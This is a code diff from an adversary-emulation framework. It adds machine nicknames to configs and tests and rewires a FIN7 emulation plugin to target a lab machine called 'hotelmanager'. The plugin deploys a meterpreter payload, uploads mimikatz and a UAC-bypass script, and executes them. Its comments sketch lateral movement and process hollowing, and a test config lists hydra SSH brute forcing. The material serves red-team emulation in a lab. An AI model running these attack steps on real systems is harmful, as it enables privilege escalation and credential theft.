supporting nicknames for target machines. Those can be used to identify machines in complex attack simulations

app/machinecontrol.py

@@ -324,6 +324,11 @@ class Machine():
 
         return self.config.vmname()
 
+    def get_nicknames(self):
+        """ Returns the machine name """
+
+        return self.config.get_nicknames()
+
     def get_playground(self):
         """ Return this machine's playground """
 

plugins/base/attack.py

@@ -2,7 +2,7 @@
 """ Base class for Kali plugins """
 
 from plugins.base.plugin_base import BasePlugin
-from app.exceptions import PluginError
+from app.exceptions import PluginError, ConfigurationError
 from app.calderacontrol import CalderaControl
 # from app.metasploit import MSFVenom, Metasploit
 import os
@@ -139,7 +139,7 @@ class AttackPlugin(BasePlugin):
     def __execute__(self, targets):
         """ Execute the plugin. This is called by the code
 
-        @param targets: A list of targets, ip addresses will do
+        @param targets: A list of targets => machines
         """
 
         self.targets = targets
@@ -164,3 +164,21 @@ class AttackPlugin(BasePlugin):
             return self.references
 
         raise NotImplementedError
+
+    def get_target_by_name(self, name):
+        """ Returns a target machine out of the target pool by matching the name
+        If there is no matching name it will look into the "nicknames" list of the machine config
+
+        @param name: The name to match for
+        @returns: the machine
+        """
+
+        for t in self.targets:
+            if t.get_name() == name:
+                return t
+
+        for t in self.targets:
+            if name in t.get_nicknames():
+                return t
+
+        raise ConfigurationError(f"No matching machine in experiment config for {name}")

plugins/default/adversary_emulations/FIN7/fin7_section1.py

@@ -64,39 +64,41 @@ class FIN7Plugin(AttackPlugin):
 
         # TODO: Make sure logging is nice and complete
 
+        hotelmanager = self.get_target_by_name("hotelmanager")
+
         # WMI queries  https://attack.mitre.org/techniques/T1057/
 
         # Execute net view from spawned cmd https://attack.mitre.org/techniques/T1135/
         self.attack_logger.vprint(f"{CommandlineColors.OKCYAN}new view {CommandlineColors.ENDC}", 1)
-        self.caldera_attack(self.targets[0], "deeac480-5c2a-42b5-90bb-41675ee53c7e", parameters={"remote.host.fqdn": self.targets[0].get_ip()})
+        self.caldera_attack(hotelmanager, "deeac480-5c2a-42b5-90bb-41675ee53c7e", parameters={"remote.host.fqdn": hotelmanager.get_ip()})
 
         # check for sandbox https://attack.mitre.org/techniques/T1497/
         # The documentation does not define how it is checking exactly.
         self.attack_logger.vprint(f"{CommandlineColors.OKCYAN}get-wmiobject win32_computersystem | fl model{CommandlineColors.ENDC}", 1)
-        self.caldera_attack(self.targets[0], "5dc841fd-28ad-40e2-b10e-fb007fe09e81")
+        self.caldera_attack(hotelmanager, "5dc841fd-28ad-40e2-b10e-fb007fe09e81")
 
         # query username https://attack.mitre.org/techniques/T1033/
         self.attack_logger.vprint(f"{CommandlineColors.OKCYAN}query USERNAME env{CommandlineColors.ENDC}", 1)
-        self.caldera_attack(self.targets[0], "c0da588f-79f0-4263-8998-7496b1a40596")
+        self.caldera_attack(hotelmanager, "c0da588f-79f0-4263-8998-7496b1a40596")
 
         # TODO: query computername https://attack.mitre.org/techniques/T1082/
         # self.attack_logger.vprint(f"{CommandlineColors.OKCYAN}query COMPUTERNAME env{CommandlineColors.ENDC}", 1)
-        # self.caldera_attack(self.targets[0], "c0da588f-79f0-4263-8998-7496b1a40596")
+        # self.caldera_attack(hotelmanager, "c0da588f-79f0-4263-8998-7496b1a40596")
 
         # TODO: load adsldp.dll and call dllGetClassObject() for the Windows Script Host ADSystemInfo Object COM object https://attack.mitre.org/techniques/T1082/
         # WMI query for System Network Configuration discovery https://attack.mitre.org/techniques/T1016/
         self.attack_logger.vprint(f"{CommandlineColors.OKCYAN}Network configuration discovery. Original is some WMI, here we are using nbstat{CommandlineColors.ENDC}", 1)
-        self.caldera_attack(self.targets[0], "14a21534-350f-4d83-9dd7-3c56b93a0c17")
+        self.caldera_attack(hotelmanager, "14a21534-350f-4d83-9dd7-3c56b93a0c17")
         # System Info discovery https://attack.mitre.org/techniques/T1082/
         self.attack_logger.vprint(
             f"{CommandlineColors.OKCYAN}System info discovery, as close as it gets{CommandlineColors.ENDC}",
             1)
-        self.caldera_attack(self.targets[0], "b6b105b9-41dc-490b-bc5c-80d699b82ce8")
+        self.caldera_attack(hotelmanager, "b6b105b9-41dc-490b-bc5c-80d699b82ce8")
         # CMD.exe->powershell.exe, start takeScreenshot.ps1 https://attack.mitre.org/techniques/T1113/
         self.attack_logger.vprint(
             f"{CommandlineColors.OKCYAN}Take screenshot{CommandlineColors.ENDC}",
             1)
-        self.caldera_attack(self.targets[0], "316251ed-6a28-4013-812b-ddf5b5b007f8")
+        self.caldera_attack(hotelmanager, "316251ed-6a28-4013-812b-ddf5b5b007f8")
         # TODO: Upload that via MSSQL transaction https://attack.mitre.org/techniques/T1041/
 
         self.attack_logger.vprint(
@@ -116,6 +118,7 @@ class FIN7Plugin(AttackPlugin):
         # Uploaded stager creates meterpreter shell (babymetal)
         # Generate payload:
 
+        hotelmanager = self.get_target_by_name("hotelmanager")
         payload_name = "babymetal.exe"
 
         # TODO: Babymetal payload is a dll. Currently we are using a simplification here (exe). Implement the proper steps. For the proper steps see:
@@ -125,7 +128,7 @@ class FIN7Plugin(AttackPlugin):
         # -f C                : output is c code
         # --encrypt xor       : xor encrypt the results
         # --encrypt-key m     : the encryption key
-        venom = MSFVenom(self.attacker_machine_plugin, self.targets[0], self.attack_logger)
+        venom = MSFVenom(self.attacker_machine_plugin, hotelmanager, self.attack_logger)
         venom.generate_and_deploy(payload=self.payload_type_1,
                                   architecture="x64",
                                   platform="windows",
@@ -153,7 +156,7 @@ class FIN7Plugin(AttackPlugin):
 
         # metasploit1 = self.get_metasploit_1()
         # print("Got session, calling command")
-        # print(metasploit.meterpreter_execute_on(["getuid"], self.targets[0]))
+        # print(metasploit.meterpreter_execute_on(["getuid"], hotelmanager))
 
         self.attack_logger.vprint(
             f"{CommandlineColors.OKGREEN}End Step 4: Staging Interactive Toolkit{CommandlineColors.ENDC}", 1)
@@ -162,53 +165,62 @@ class FIN7Plugin(AttackPlugin):
         self.attack_logger.vprint(
             f"{CommandlineColors.OKBLUE}Step 5 (target hotelmanager): Escalate Privileges{CommandlineColors.ENDC}", 1)
 
+        hotelmanager = self.get_target_by_name("hotelmanager")
+
         # This is meterpreter !
         metasploit = self.get_metasploit_1()
 
         # powershell -> CreateToolHelp32Snapshot() for process discovery (Caldera alternative ?) https://attack.mitre.org/techniques/T1057/
         self.attack_logger.vprint(f"{CommandlineColors.OKCYAN}Execute ps -ax through meterpreter{CommandlineColors.ENDC}", 1)
-        print(metasploit.meterpreter_execute_on(["ps -ax"], self.targets[0]))
+        print(metasploit.meterpreter_execute_on(["ps -ax"], hotelmanager))
 
         # powershell: GetIpNetTable() does ARP entries https://attack.mitre.org/techniques/T1016/
         self.attack_logger.vprint(
             f"{CommandlineColors.OKCYAN}Execute arp through meterpreter{CommandlineColors.ENDC}", 1)
-        print(metasploit.meterpreter_execute_on(["arp"], self.targets[0]))
+        print(metasploit.meterpreter_execute_on(["arp"], hotelmanager))
         # powershell: nslookup to query domain controler(hoteldc) for ip from ARP (Caldera ?) https://attack.mitre.org/techniques/T1018/
-        # TODO: Add real <itadmin> ip
+        # TODO: Add real <itadmin> ip. Re-activate. This command caused trouble afterwards (uploading mimikatz). Maybe it is because of an error
-        itadmin = "127.0.0.1"
+        # itadmin = "127.0.0.1"
-        self.attack_logger.vprint(
+        # self.attack_logger.vprint(
-            f"{CommandlineColors.OKCYAN}Execute nslookup through meterpreter{CommandlineColors.ENDC}", 1)
+        #    f"{CommandlineColors.OKCYAN}Execute nslookup through meterpreter{CommandlineColors.ENDC}", 1)
-        print(metasploit.meterpreter_execute_on([f"execute -f nslookup.exe -H -i -a '{itadmin}'"], self.targets[0]))
+        # print(metasploit.meterpreter_execute_on([f"execute -f nslookup.exe -H -i -a '{itadmin}'"], hotelmanager))
 
         # Copy step 5 attack tools to attacker
 
-        # powershell download from C2 server: samcat.exe (mimikatz) https://attack.mitre.org/techniques/T1507/
+        use_mimikatz = True   # TODO: Read this from config
-        # tplayground = self.targets[0].get_playground()
+        if use_mimikatz:
-        # aplayground = self.attacker_machine_plugin.get_playground() or ""
+            # powershell download from C2 server: samcat.exe (mimikatz) https://attack.mitre.org/techniques/T1507/
-        self.attacker_machine_plugin.put(os.path.join(os.path.dirname(self.plugin_path), "resources", "step5", "samcat.exe"), "samcat.exe")
+            # tplayground = hotelmanager.get_playground()
-        self.attacker_machine_plugin.put(os.path.join(os.path.dirname(self.plugin_path), "resources", "step5", "uac-samcats.ps1"), "uac-samcats.ps1")
+            # aplayground = self.attacker_machine_plugin.get_playground() or ""
-        cmd = "upload samcat.exe 'samcat.exe'  "
+            self.attacker_machine_plugin.put(os.path.join(os.path.dirname(self.plugin_path), "resources", "step5", "samcat.exe"), "samcat.exe")
-        print(cmd)
+            self.attacker_machine_plugin.put(os.path.join(os.path.dirname(self.plugin_path), "resources", "step5", "uac-samcats.ps1"), "uac-samcats.ps1")
-        self.attack_logger.vprint(
+            print(metasploit.meterpreter_execute_on(["ls"], hotelmanager, delay=10))
-            f"{CommandlineColors.OKCYAN}Uploading mimikatz through meterpreter{CommandlineColors.ENDC}", 1)
+            cmd = "upload samcat.exe 'samcat.exe'  "
-        print(metasploit.meterpreter_execute_on([cmd], self.targets[0], delay=2))
+            # cmd = "upload boring_test_file.txt 'samcat.exe'  "
-
+            print(cmd)
-        cmd = "upload uac-samcats.ps1 'uac-samcats.ps1'  "
+            self.attack_logger.vprint(
-        print(cmd)
+                f"{CommandlineColors.OKCYAN}Uploading mimikatz through meterpreter{CommandlineColors.ENDC}", 1)
-        self.attack_logger.vprint(
+            print(metasploit.meterpreter_execute_on([cmd], hotelmanager, delay=10))
-            f"{CommandlineColors.OKCYAN}Uploading UAC bypass script through meterpreter{CommandlineColors.ENDC}", 1)
+
-        print(metasploit.meterpreter_execute_on([cmd], self.targets[0], delay=2))
+            cmd = "upload uac-samcats.ps1 'uac-samcats.ps1'  "
-
+            # cmd = "upload boring_test_file.txt 'samcat.exe'  "
-        # execute uac-samcats.ps1 This: spawns a powershell from powershell -> samcat.exe as high integrity process https://attack.mitre.org/techniques/T1548/002/
+            print(cmd)
-        execute_samcats = "execute -f powershell.exe -H -i -a '-c ./uac-samcats.ps1'"
+            self.attack_logger.vprint(
-        print(execute_samcats)
+                f"{CommandlineColors.OKCYAN}Uploading UAC bypass script through meterpreter{CommandlineColors.ENDC}", 1)
-        self.attack_logger.vprint(
+            print(metasploit.meterpreter_execute_on([cmd], hotelmanager, delay=10))
-            f"{CommandlineColors.OKCYAN}Execute UAC bypass (and mimikatz) through meterpreter{CommandlineColors.ENDC}", 1)
+
-        print(metasploit.meterpreter_execute_on([execute_samcats], self.targets[0], delay=20))
+            # execute uac-samcats.ps1 This: spawns a powershell from powershell -> samcat.exe as high integrity process https://attack.mitre.org/techniques/T1548/002/
-        # TODO: Make it more reliable. Also test which OS versions are working properly. It worked at least once
+            execute_samcats = "execute -f powershell.exe -H -i -a '-c ./uac-samcats.ps1'"
+            print(execute_samcats)
+            self.attack_logger.vprint(
+                f"{CommandlineColors.OKCYAN}Execute UAC bypass (and mimikatz) through meterpreter{CommandlineColors.ENDC}", 1)
+            print(metasploit.meterpreter_execute_on([execute_samcats], hotelmanager, delay=20))
+            # TODO: Make it more reliable. Also test which OS versions are working properly. It worked at least once
 
         # samcat.exe: reads local credentials https://attack.mitre.org/techniques/T1003/001/
 
+        print("Verify we are still connected")
+        print(metasploit.meterpreter_execute_on(["ps -ax"], hotelmanager))
         self.attack_logger.vprint(
             f"{CommandlineColors.OKGREEN}End Step 5: Escalate Privileges{CommandlineColors.ENDC}", 1)
 
@@ -221,7 +233,7 @@ class FIN7Plugin(AttackPlugin):
         # powershell download: paexec.exe and hollow.exe https://attack.mitre.org/techniques/T1105/
         # spawn powershell through cmd
         # !!! admin host!!! use password with paexec to move lateral to it admin host https://attack.mitre.org/techniques/T1021/002/
-        # paexec  starts temorary windows service and executes hollow.exe https://attack.mitre.org/techniques/T1021/002/
+        # paexec  starts temporary windows service and executes hollow.exe https://attack.mitre.org/techniques/T1021/002/
         # => Lateral move to itadmin
         # hollow.exe spawns svchost and unmaps memory image https://attack.mitre.org/techniques/T1055/012/
         # svchost starts data exchange
@@ -300,7 +312,7 @@ class FIN7Plugin(AttackPlugin):
 
         self.step1()
         self.step2()
-        # self.step3()  # Done and works
+        self.step3()  # Done and works
         self.step4()
         self.step5()
         self.step6()

plugins/default/adversary_emulations/FIN7/local_experiment_config.yaml

@@ -56,6 +56,10 @@ targets:
     active: yes
 
     vm_name: target2
+
+    nicknames:
+      - hotelmanager
+
     os: windows
     paw: target2w
     group: red_windows

template.yaml

@@ -27,6 +27,11 @@ attackers:
     # Name of machine in Vagrantfile
     vm_name: attacker
 
+    ###
+    # Machine can have nicknames. They can be used in complex attacks to reference the machine
+    nicknames:
+      - "suspect 1"
+
     ###
     # machinepath is a path where the machine specific files and logs are stored. Relative to the Vagrantfile path
     # and will be mounted internally as /vagrant/<name>
@@ -56,6 +61,12 @@ targets:
     active: no
 
     vm_name: target1
+
+    ###
+    # Machine can have nicknames. They can be used in complex attacks to reference the machine
+    nicknames:
+      - "web server"
+
     os: linux
     ###
     # Targets need a unique PAW name for caldera
@@ -87,6 +98,13 @@ targets:
     active: no
 
     vm_name: target2
+
+    ###
+    # Machine can have nicknames. They can be used in complex attacks to reference the machine
+    nicknames:
+      - "t2"
+      - "practice target"
+
     os: windows
     paw: target2w
 
@@ -144,6 +162,13 @@ targets:
     active: yes
 
     vm_name: target3
+
+    ###
+    # Machine can have nicknames. They can be used in complex attacks to reference the machine
+    nicknames:
+      - "red shirt"
+      - "the flag"
+
     os: linux
     ###
     # Targets need a unique PAW name for caldera

tests/data/attacker_has_empty_nicknames.yaml

@@ -0,0 +1,174 @@
+
+###
+# Caldera configuration
+caldera:
+  ###
+  # API key for caldera. See caldera configuration. Default is ADMIN123
+  apikey: ADMIN123
+
+###
+# Attacks configuration
+attackers:
+  ###
+  # Configuration for the first attacker. One should normally be enough
+  attacker:
+
+    ###
+    # Defining VM controller settings for this machine
+    vm_controller:
+      ###
+      # Type of the VM controller, Options are "vagrant"
+      type: vagrant
+      ###
+      # # path where the vagrantfile is in
+      vagrantfilepath: systems
+
+    # Empty for a reason. It is being tested
+    nicknames:
+
+    ###
+    # Name of machine in Vagrantfile
+    vm_name: attacker
+
+    ###
+    # machinepath is a path where the machine specific files and logs are stored. Relative to the Vagrantfile path
+    # and will be mounted internally as /vagrant/<name>
+    # If machinepoath is not set AttackX will try "vm_name"
+    machinepath: attacker1
+
+    ###
+    # OS of the VM guest. Options are so far "windows", "linux"
+    os: linux
+
+    ###
+    # Do not destroy/create the machine: Set this to "yes".
+    use_existing_machine: yes
+
+###
+# List of targets
+targets:
+  ###
+  # Specific target
+  target1:
+    vm_controller:
+      type: vagrant
+      vagrantfilepath: systems
+
+    vm_name: target1
+
+    # Used for tests
+    nicknames:
+      - 1
+      - 2
+      - 3
+
+    os: linux
+    ###
+    # Targets need a unique PAW name for caldera
+    paw: target1
+    ###
+    # Targets need to be in a group for caldera
+    group: red
+
+    machinepath: target1
+    # Do not destroy/create the machine: Set this to "yes".
+    use_existing_machine: yes
+
+  target2:
+    #root: systems/target1
+    vm_controller:
+      type: vagrant
+      vagrantfilepath: systems
+
+    vm_name: target2
+    os: windows
+    paw: target2w
+    group: red
+
+    machinepath: target2w
+
+    # Do not destroy/create the machine: Set this to "yes".
+    use_existing_machine: yes
+    ###
+    # Optional setting to activate force when halting the machine. Windows guests sometime get stuck
+    halt_needs_force: yes
+
+    ###
+    # If SSH without vagrant support is used (Windows !) we need a user name (uppercase)
+    ssh_user: ATTACKX
+
+    ###
+    # For non-vagrant ssh connections a ssh keyfile stored in the machinepath is required.
+    ssh_keyfile: id_rsa.3
+
+###
+# General attack config
+attacks:
+  ###
+  # configure the seconds the system idles between the attacks. Makes it slower. But attack and defense logs will be simpler to match
+  nap_time: 5
+
+###
+# A list of caldera attacks to run against the targets.
+caldera_attacks:
+  ###
+  # Linux specific attacks. A list of caldera ability IDs
+  linux:
+    - "bd527b63-9f9e-46e0-9816-b8434d2b8989"
+  ###
+  # Windows specific attacks. A list of caldera ability IDs
+  windows:
+    - "bd527b63-9f9e-46e0-9816-b8434d2b8989"
+
+###
+# Kali tool based attacks. Will result in kali commandline tools to be called. Currently supported are: "hydra"
+kali_attacks:
+  ###
+  # Linux specific attacks, a list
+  linux:
+    - hydra
+  ###
+  # Windows specific attacks, a list
+  windows:
+    - hydra
+
+###
+# Configuration for the kali attack tools
+kali_conf:
+  ###
+  # Hydra configuration
+  hydra:
+    ###
+    # A list of protocols to brute force against. Supported: "ssh"
+    protocols:
+      - ssh
+      #- ftp
+      #- ftps
+    ###
+    # A file containing potential user names
+    userfile: users.txt
+    ###
+    # A file containing potential passwords
+    pwdfile: passwords.txt
+
+###
+# Settings for the results being harvested
+results:
+  ###
+  # The directory the loot will be in
+  loot_dir: loot
+
+###
+# General sensor config config
+sensors:
+  ###
+  # Windows sensor plugin configuration
+  windows_sensor:
+    ###
+    # Name of the dll to use. Must match AV version
+    # dll_name: aswidptestdll.dll
+    dll_name: windows_sensor.dll
+
+    ###
+    # Folder where the sensor tool is located
+    sensor_tool_folder: windows_sensor

tests/test_config.py

@@ -546,6 +546,21 @@ class TestExperimentConfig(unittest.TestCase):
         self.assertEqual(ex.attackers()[0].vmname(), "attacker")
         self.assertEqual(ex.attacker(0).vmname(), "attacker")
 
+    def test_nicknames_missing(self):
+        """ Test when the machine nicknames are non existing """
+        ex = ExperimentConfig("tests/data/basic.yaml")
+        self.assertEqual(ex._attackers[0].get_nicknames(), [])
+
+    def test_nicknames_present_but_empty(self):
+        """ Test when the machine nicknames are empty """
+        ex = ExperimentConfig("tests/data/attacker_has_empty_nicknames.yaml")
+        self.assertEqual(ex._attackers[0].get_nicknames(), [])
+
+    def test_nicknames_present(self):
+        """ Test when the machine nicknames are there """
+        ex = ExperimentConfig("tests/data/attacker_has_empty_nicknames.yaml")
+        self.assertEqual(ex._targets[0].get_nicknames(), [1, 2, 3])
+
     def test_missing_kali_config(self):
         """  Getting kali config for a specific attack. Attack missing """